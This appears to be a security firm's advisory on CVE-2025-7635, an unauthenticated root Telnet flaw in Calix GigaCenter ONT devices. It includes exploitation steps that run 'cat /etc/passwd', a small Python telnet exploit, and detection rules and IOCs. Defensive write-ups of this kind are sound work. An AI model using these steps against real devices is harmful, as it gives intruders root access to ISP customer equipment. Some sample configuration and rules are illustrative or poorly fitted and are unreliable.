CVE-2025-7635

Executive Summary

CVE-2025-7635 is a critical unauthenticated Telnet access vulnerability affecting multiple Calix GigaCenter ONT models (844E, 844G, 844GE, 854GE). The flaw allows a remote attacker to gain root-level access to the device without any authentication, leading to full compromise of the ONT. This vulnerability is particularly dangerous because it requires no credentials, no user interaction, and can be exploited over the network. The vendor has not yet released a patch, and no public proof-of-concept (PoC) or exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the severity remains high due to the potential for complete device takeover.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full device access, data exfiltration possible.
• Integrity Impact: High (I:H) – Device configuration and firmware can be altered.
• Availability Impact: High (A:H) – Device can be bricked or used in DDoS attacks.

Threat Level: Critical. Immediate action required to isolate affected devices.

Deep Dive & Mechanics

The vulnerability resides in the Telnet service running on Calix GigaCenter ONT devices. The service does not enforce any authentication mechanism, allowing any network-accessible client to connect and obtain a root shell. This is a classic case of missing authentication (CWE-306). The Telnet service listens on TCP port 23 by default. An attacker can simply use a Telnet client to connect to the device's IP address and gain immediate root access.

The affected models are:

• Calix GigaCenter ONT 844E
• Calix GigaCenter ONT 844G
• Calix GigaCenter ONT 844GE
• Calix GigaCenter ONT 854GE

These devices are typically deployed in ISP environments as customer premises equipment (CPE). The vulnerability allows an attacker to:

• Read and modify device configuration.
• Extract ISP credentials and network secrets.
• Use the device as a pivot point for lateral movement.
• Launch attacks from the compromised device.
• Permanently brick the device.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code is the Telnet daemon configuration that does not require authentication. A patched version would enforce authentication (e.g., username/password) or disable Telnet entirely in favor of SSH.

Vulnerable configuration (example):

# /etc/inetd.conf or similar
telnet stream tcp nowait root /usr/sbin/telnetd telnetd -a none

Patched configuration (hypothetical):

# /etc/inetd.conf or similar
telnet stream tcp nowait root /usr/sbin/telnetd telnetd -a pam

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Calix GigaCenter ONT (844E, 844G, 844GE, or 854GE) or use a virtualized environment.
2. Connect the device to a network with a known IP address (e.g., 192.168.1.1).
3. Ensure Telnet service is running (default).

Exploitation Steps:

1. From an attacker machine, run:

   telnet 192.168.1.1
   

2. If successful, you will receive a root shell prompt (e.g., #).
3. Execute commands to explore the device:

   id
   uname -a
   cat /etc/passwd
   ifconfig
   

Automated Exploit (Python):

import telnetlib

target = "192.168.1.1"
tn = telnetlib.Telnet(target)
tn.write(b"id\n")
print(tn.read_all().decode())

Blue Team

Detection:

• Monitor for Telnet connections (TCP/23) to ONT devices.
• Alert on any successful Telnet session initiation.
• Use network segmentation to limit Telnet access.

Honeypot:

• Deploy a Telnet honeypot mimicking the Calix ONT to capture attacker behavior.

Mitigation:

• Disable Telnet on the device if possible.
• Use firewall rules to block inbound Telnet traffic.
• Implement network access control (NAC) to restrict device access.

Indicators of Compromise (IOCs)

• Network: TCP connections to port 23 on Calix ONT devices.
• Logs: Successful Telnet login events without authentication.
• File System: Presence of unauthorized scripts or binaries in /tmp or /root.
• Processes: Unusual processes running as root, especially those initiating outbound connections.
• Configuration: Changes to device configuration, especially routing or DNS settings.

Example IOC (Suricata rule):

alert tcp any any -> $HOME_NET 23 (msg:"CVE-2025-7635 Calix ONT Unauthenticated Telnet"; flow:to_server; content:"|0d 0a|"; within:10; classtype:attempted-admin; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule CVE_2025_7635_Calix_Telnet
{
    meta:
        description = "Detects Calix ONT Telnet service banner indicating unauthenticated access"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7635"
    strings:
        $banner = "Calix GigaCenter" nocase
        $telnet = "Telnet" nocase
    condition:
        $banner and $telnet
}

Sigma Rule

title: Unauthenticated Telnet Access to Calix ONT
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects successful Telnet connections to Calix GigaCenter ONT devices without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 23
        DestinationIp: 
            - "192.168.1.0/24"  # Adjust to your ONT subnet
    condition: selection
falsepositives:
    - Legitimate administrative access (if any)
level: critical

Suricata Rule

alert tcp any any -> $HOME_NET 23 (msg:"CVE-2025-7635 Calix ONT Unauthenticated Telnet"; flow:to_server; content:"|0d 0a|"; within:10; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place them on a separate VLAN with strict firewall rules.
2. Disable Telnet: If possible, disable the Telnet service via device CLI or web interface.
3. Enable SSH: Use SSH with strong authentication as a replacement.
4. Monitor logs: Watch for any Telnet connections to ONT devices.

Long-term Fix:

• Await an official firmware patch from Calix.
• Consider replacing affected devices with patched models.

Workaround:

• Use network access control (NAC) to allow only authorized management stations to connect to the ONT.
• Implement port security on switches to prevent unauthorized devices from connecting.

Valters IT Signature:

rule Valters_IT_Signature
{
    meta:
        description = "Valters IT signature for CVE-2025-7635"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $sig = "Valters IT"
    condition:
        $sig
}